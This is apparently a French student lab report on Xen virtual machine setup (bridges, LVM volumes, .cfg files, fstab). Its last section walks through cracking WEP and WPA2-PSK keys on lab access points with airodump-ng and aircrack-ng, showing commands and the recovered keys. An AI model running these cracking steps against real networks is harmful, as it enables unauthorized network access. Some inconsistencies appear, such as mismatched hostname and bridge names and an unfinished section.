Atelier SysRes SE4 2025/2026 E1
CRÉATION MACHINES VIRTUELLES
Il faut d'abord crée un "bridge" sur capbreton pour relier nos 3 machines virtuelles ensemble. Un "bridge" n'a rien de complexe, c'est un commutateur mais virtuel. C'est comme un commutateur physique avec des ports ethernet pour relier des machines ensemble mais il n'existe pas dans le monde physique seulement sur nos ordinateurs et VM. Pour cela, nous créons notre pont sur capbreton le commutateur/routeur dans la E304. Nous le faisons dans ce chemin : /etc/network/interfaces.d/SE42026_pcasimir_ahoudus
Veuillez faire en sorte de ne PAS modifier le fichier le fichier /etc/network/interfaces car c'est le fichier qui permet de configurer la connectivité de capbreton lui-même.
auto pont_Gercourt
iface pont_Gercourt inet manual
bridge_ports none
up ip link set $IFACE up
down ip link set $IFACE down
Ensuite, nous devons initialiser nos MV de services grâce à l'outil hyperviseur Xen.
Un hyperviseur, c’est le logiciel qui permet de faire tourner plusieurs “ordinateurs virtuels” (VM) sur un seul ordinateur physique.
Au lieu d’avoir 1 machine = 1 OS, tu as 1 machine physique = plusieurs OS (Linux, OpenWRT, Windows…) qui tournent en parallèle, chacun dans sa VM.
Un hyperviseur est “entre” le matériel et les VM, et il s’occupe de partager proprement :
- CPU : qui a le droit d’exécuter quand (ordonnancement)
- RAM : qui a droit à quelle mémoire (isolation, allocation)
- Disques : chaque VM a “son disque” (souvent un fichier
.img, LVM, etc.) - Réseau : chaque VM a une carte réseau virtuelle, connectée à un switch/bridge virtuel
- Isolation/Sécurité : une VM ne doit pas pouvoir casser les autres.
Xen, c’est un hyperviseur “bare-metal” très utilisé historiquement en serveur/cloud.
Dans Xen, toutes les VM sont des domains.
- Dom0 (Domain 0) : la VM “chef” (privilégiée)
- c’est elle qui a les drivers matériels
- c’est elle qui crée / détruit / configure les autres VM
- elle gère souvent le réseau (bridges/VLAN) et le stockage
- DomU : les VM “normales” (invitées)
- elles ont des périphériques virtuels
- elles passent souvent par Dom0 pour accéder au hardware
Petit schéma mental :
Matériel (CPU/RAM/NIC/Disques)
│
Xen
│
┌───────────┴───────────┐
│ │
Dom0 Dom1, Dom2, Dom3...
(admin + drivers) (VM Linux / OpenWRT / etc.)
Il leur faut plusieurs paramètres pour fonctionner selon nos critères.
root@capbreton:~# xen-create-image --hostname=SE4.Merteuil --dhcp --bridge=pont_Gercourt --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2048M --force
xen-create-image: Commande permettant de créer une nouvelle machine virtuelle Xen--hostname=SE4.Merteuil: Spécifie le nom d'hôte de la nouvelle MV créée. Ici, le nom d'hôte seraSE4.Atreus.--dhcp: Indique que la MV obtiendra automatiquement une adresse IP via DHCP. Aucune configuration statique d'adresse IP ne sera nécessaire. Vous devriez quand même configuré votre/etc/network/interfacedans votre VM pour qu'elle ait une adresse IPv4 sur votre commutateur virtuel/bridge.--bridge=bifrost: Précise l'utilisation du pont réseau nommébifrostpour connecter la machine virtuelle au réseau physique ou virtuel existant. Ceci permet une connexion directe de la VM au réseau.--dir=/usr/local/xen: Définit le répertoire dans lequel seront stockées les images disque et les fichiers associés de la MV. Ici, l'image sera placée dans le dossier/usr/local/xen.--size=10GB: Détermine la taille du disque virtuel pour cette MV. Dans cet exemple, le disque fera10 Go.--dist=daedalus: Indique la distribution du système d'exploitation à utiliser pour la MV. Ici, la distribution choisie s'appelledaedaluspour Debian.
--memory=2048M: Détermine la quantité de mémoire vive (RAM) allouée à la MV. Dans cet exemple, la MV aura2048 Mo(soit 2 Go) de RAM.
Volumes Logiques
Dans notre infra, on ne met pas tout le système d’une VM sur un seul “disque” géant. On sépare certains répertoires dans des volumes logiques (LVM) dédiés, notamment :
/home: dossiers utilisateurs (fichiers perso, configs, projets, clés SSH…)/var: données qui bougent beaucoup (logs, cache, bases de données, spool, etc.)
Cette séparation a plusieurs avantages très concrets :
- Meilleure gestion de l’espace disque : tu peux dimensionner
/varet/homeindépendamment (et agrandir si besoin). - Moins de risques : si
/varexplose (logs qui partent en vrille, cache énorme…), ça évite de remplir tout le disque système et de “tuer” la VM. - Maintenance plus simple : sauvegarde/restauration ciblée (ex : sauvegarder
/homesans prendre tout le système). - Organisation propre : chaque VM a ses volumes clairement identifiés.
Pour chaque VM, on crée deux volumes logiques de 10 Go :
lvcreate -L 10G -n SE4.<NomDeVM>.home virtual
lvcreate -L 10G -n SE4.<NomDeVM>.var virtual
lvcreate: commande qui crée un volume logique-L 10G: taille du volume (ici 10 Go)-n <nom>: nom du volume logique (d’où leSE4.<NomDeVM>.home)virtual: le Volume Group dans lequel on crée le volume
Ces volumes seront ensuite attachés à la VM comme des disques (ou partitions virtuelles), puis formatés et montés dans la VM :
- le volume
.homesera monté sur/home - le volume
.varsera monté sur/var
Fichier de configuration Xen
0) Éditer le fichier de configuration Xen de la VM (réseau + disques)
Après avoir généré une VM avec xen-create-image, un fichier de configuration est créé pour cette VM (souvent un .cfg).
C’est ce fichier qui dit à Xen :
- quels disques (images, volumes LVM…) la VM utilise
- combien de RAM/vCPU
- et surtout quelles interfaces réseau virtuelles (VIF) elle a, et sur quels bridges elles sont branchées
root = '/dev/xvda2 ro'
disk = [
'file:/usr/local/xen/domains/SE4.Merteuil/disk.img,xvda2,w',
'file:/usr/local/xen/domains/SE4.Merteuil/swap.img,xvda1,w',
'phy:/dev/virtual/SE4.Merteuil.home,xvda3,w',
'phy:/dev/virtual/SE4.Merteuil.var,xvdb1,w',
]
#
# Hostname
#
name = 'SE4.Merteuil'
#
# Networking
#
dhcp = 'dhcp'
vif = [ 'mac=00:16:3E:47:BB:E8,bridge=pont_Gercourt' ,
'mac=00:16:3E:47:BB:E7,bridge=SE4' ]
1) Les VIF : cartes réseau virtuelles de la VM
Une VIF (Virtual Interface), c’est tout simplement une carte réseau virtuelle vue par la VM.
Dans la VM, elle apparaîtra comme une interface réseau (genre eth0, eth1, etc., selon l’OS).
Différence avec une machine physique
Sur un PC “réel”, tu es limité :
- par le nombre de ports Ethernet / cartes réseau dispo physiquement
Dans une VM, pas ce souci :
- tu peux ajouter autant de VIF que tu veux en théorie
- en pratique : tu restes limité par la perf + la complexité de ton archi réseau (mais c’est déjà énorme)
2) Ce qu’on veut dans le TP : 2 cartes réseau
Dans le cadre du TP, on te demande 2 VIF :
VIF 1 : réseau interne de ton groupe (bridge du “switch” virtuel)
- branchée sur le bridge qui relie tes 3 machines (tes VM du groupe)
- ici :
pont_Gercourt
Objectif : que tes VMs communiquent entre elles comme si elles étaient branchées sur le même switch.
VIF 2 : réseau “école / Internet / infra”
- branchée sur le bridge qui donne l’accès au reste de l’infra + Internet
- ici :
SE4(bridge officiel du TP)
Objectif : accès Internet + accès au reste de l’infra (routeurs, services, etc.)
Mode “secours” : bridgeStudents
Tant que le bridge SE4 n’est pas encore “brassé” correctement (câblage + routeurs Cisco + etc.), tu peux utiliser :
bridgeStudents
Ça te donne déjà :
- Internet
- de quoi avancer sur une grosse partie du TP
⚠️ Mais à la fin, pour la note max :
Vous devez faire le brassage / branchement réel des commutateurs en E304 / E306 / E200, et configurer la partie Cisco reliée au bridge SE4.
3) Exemple de section réseau dans le .cfg
# Networking
dhcp = 'dhcp'
vif = [
'mac=00:16:3E:47:BB:E8,bridge=pont_Gercourt',
'mac=00:16:3E:47:BB:E7,bridge=SE4'
]
Comment lire ça ?
vif = [...]: liste des cartes réseau virtuelles- chaque ligne décrit une VIF
mac=...: la MAC address que la VM utilisera (utile pour DHCP, filtrage, repérage)bridge=...: le bridge Xen/Linux sur lequel tu connectes cette VIF
c’est littéralement “sur quel switch virtuel tu branches le câble”
4) Lien avec xen-create-image (ce que tu retrouves dans le cfg)
xen-create-image --hostname=SE4.Merteuil --dhcp --bridge=pont_Gercourt \
--dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2048M --force
Elle fait plusieurs trucs automatiquement :
- crée le disque système (
disk.img) + swap (swap.img) - configure le hostname
- met une config réseau DHCP
- et ajoute 1 bridge par défaut (
pont_Gercourt)
Mais elle ne connaît pas forcément ta future archi avec /home et /var séparés, ni le second bridge (SE4).
Donc tu complètes à la main dans le .cfg.
5) Ajouter tes volumes logiques /home et /var dans disk = [...]
Dans ton fichier config, tu as une section :
disk = [
'file:/usr/local/xen/domains/SE4.Merteuil/disk.img,xvda2,w',
'file:/usr/local/xen/domains/SE4.Merteuil/swap.img,xvda1,w',
]
Comprendre file: vs phy:
file:→ disque = fichier image (un.img)phy:→ disque = vrai block device côté hôte (ex : volume LVM dans/dev/virtual/...)
Donc pour brancher tes volumes logiques LVM, tu ajoutes :
'phy:/dev/virtual/SE4.Merteuil.home,xvda3,w',
'phy:/dev/virtual/SE4.Merteuil.var,xvdb1,w',
Ce qui donne :
disk = [
'file:/usr/local/xen/domains/SE4.Merteuil/disk.img,xvda2,w',
'file:/usr/local/xen/domains/SE4.Merteuil/swap.img,xvda1,w',
'phy:/dev/virtual/SE4.Merteuil.home,xvda3,w',
'phy:/dev/virtual/SE4.Merteuil.var,xvdb1,w',
]
6) C’est quoi xvda3 / xvdb1 exactement ?
C’est juste le nom du disque vu par la VM.
xvda= “disque A virtuel”xvdb= “disque B virtuel”xvda3= “partition 3 du disque A” (façon de parler : c’est l’identifiant donné à Xen)
Ce qui compte vraiment
✅ Que chaque “source” (file/phy) ait un identifiant unique côté VM.
Le choix xvda3 vs xvdb1 n’a rien de magique : c’est juste une convention.
Petit conseil pratique (propre et simple)
- garde tout sur
xvda1,xvda2,xvda3,xvda4… (ça évite de te perdre) - ou alors fais :
xvda...pour OS + swapxvdbpour homexvdcpour var (plus lisible quand tu en as beaucoup)
Les deux se font. L’important, c’est d’être cohérent.
7) Le w à la fin : super important
À la fin de chaque ligne de disque, tu as :
w= write (lecture + écriture)r= read-only (lecture seule)
Donc si tu oublies le w sur un volume /home ou /var, tu vas vite te retrouver avec :
- des erreurs d’écriture
- ou un système qui refuse de monter le FS correctement Pour des volumes de données, c’est toujours
w.
Montage des partitions et fichier "fstab"
Très important : ça se fait dans la VM, pas sur capbreton
Les commandes mkfs, mount, mv sont à exécuter dans la VM (le DomU).
- Sur capbreton (Dom0 / hôte Xen), ne touche jamais à
/var: c’est le cœur des services (logs, state, packages, etc.). Si tu déplaces/varsur le host, tu peux casser l’infra du TP (et potentiellement les autres VMs / services). - Sur capbreton, ton job c’est créer les volumes LVM et les attacher à la VM dans le
.cfg. Point.
Rappel : c’est quoi /var exactement ?
/var = “variable data”, donc tout ce qui change souvent et peut grossir vite.
Typiquement :
/var/log: logs (ça peut exploser si un service spam)/var/lib: données applicatives (ex: bases de données, états de services)/var/cache: caches (apt, etc.)/var/tmp: fichiers temporaires “longue durée”/var/spool: files d’attente (mail, cron, impressions…)
Pourquoi on le met sur un volume dédié : si /var se remplit, tu évites de remplir / et de rendre la VM inutilisable.
mkfs -t ext4 /dev/xvdb1
mount /dev/xvdb1 /mnt
mv /var/* /mnt
umount /mnt
mkfs -t ext4 /dev/xvda3
mount -a
Explication rapide des commandes
mkfs -t ext4 /dev/xvdb1: formatage → crée un système de fichiers ext4 sur le disque. ⚠️ Ça efface ce qu’il y avait dessus.mount <device> <dossier>: “branche” le système de fichiers sur un dossier.umount <dossier>: “débranche”.mount -a: monte tout ce qui est dans/etc/fstabmv: déplace. Sur/var, c’est risqué parce que des fichiers peuvent être utilisés en live.
DÉMARRAGE AUTOMATIQUE DU MONTAGE
CONFIGURATION RÉSEAU DE NOS VM
Rappel du schéma et du rôle des machines
Dans l’infra, on a deux “mondes” réseau en parallèle :
- Un réseau IPv4 privé (non routable sur Internet) : utilisé pour l’interconnexion interne et la sortie Internet via NAT.
- Un réseau IPv6 public : utilisé pour rendre les VM accessibles directement depuis l’extérieur (et accéder à Internet en IPv6 sans NAT).
VM de service (serveurs)
- IPv4 privé : pour sortir sur Internet via le mandataire (NAT/Masquerade).
- IPv6 public : pour être joignable directement (pas de NAT).
VM mandataire (gateway)
- Reliée au réseau privé IPv4 : côté interne
- Reliée au réseau public : côté infra école + Internet.
- Fait l’interconnexion (routage + NAT + redirections de ports si besoin).
Configuration réseau de la VM de service
Ton /etc/network/interfaces (service)
là
Cassage de clé WIFI
WEP
Sur un 1 terminal :
sudo airodump-ng wlan1 --write crackage_pcasimir/pcasimir --bssid 04:DA:D2:9C:50:50 -c4
Il faut laisser tourner le programme pendant un moment pour capturer un maximum d'IVs (environ 50*10³)
Ce que l'on voit :
CH 4 ][ Elapsed: 40 mins ][ 2026-02-10 16:07 ][ paused output
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
04:DA:D2:9C:50:50 -64 0 10771 48468 31 4 54e. WEP WEP cracotte01
BSSID STATION PWR Rate Lost Frames Notes Probes
04:DA:D2:9C:50:50 40:A5:EF:01:21:80 -73 0 -36e 621 58224
sur 2ème terminal :
Une fois qu'on a 50*10³ IV on fait :
sudo aircrack-ng -a1 -b 04:DA:D2:9C:50:50 crackage_pcasimir/pcasimir-01.cap -s
Résultat :
KB depth byte(vote)
0 1/ 2 B5(55552) 84(53504) 2B(52992) 2F(52480) A0(52480) BA(52224)
1 0/ 5 49(66304) E8(55552) 20(55296) 65(55296) 73(55296) 5F(53760)
2 41/ 2 E1(48640) 0E(48384) 3D(48384) 63(48384) 6C(48384) 9C(48384)
3 4/ 3 B3(53248) 7B(52992) 95(52992) 31(52736) 12(52224) FF(52224)
4 1/ 2 21(55552) 17(52480) 26(52224) B5(52224) 16(51968) C0(51712)
KEY FOUND! [ FF:FF:FF:FF:FA:BC:02:CB:AE:EE:EE:EE:EE ]
Decrypted correctly: 100%
WPA2-PSK
pcasimir@zabeth13:~$ sudo airodump-ng wlan1 --write crackage_pcasimir/airodumpWPA --bssid 44:AD:D9:5F:87:00 -c13
CH 13 ][ Elapsed: 1 hour 44 mins ][ 2026-02-10 18:41 ][ fixed channel wlan1: 4
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
44:AD:D9:5F:87:00 -58 0 28293 508 0 13 54e. WPA2 CCMP PSK kracotte01
BSSID STATION PWR Rate Lost Frames Notes Probes
pcasimir@zabeth13:~$ sudo aircrack-ng -a2 -b 44:AD:D9:5F:87:00 -w crackage_pcasimir/dico.txt crackage_pcasimir/airodumpWPA-01.cap
Aircrack-ng 1.7
[00:55:43] 66515032/100000000 keys tested (19870.44 k/s)
Time left: 28 minutes, 5 seconds 66.52%
KEY FOUND! [ 66689666 ]
Master Key : 3C A8 6A 6B 80 C3 36 12 EC D6 36 89 9F E3 F6 BC
D6 B2 24 8A 49 B4 9C 2A A3 6F 3E A0 96 15 8B F5
Transient Key : A0 53 57 7D 4B 67 FB 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
EAPOL HMAC : 52 DE 19 6D B0 E3 3B 2C 1A DA D3 F2 66 39 F2 DD
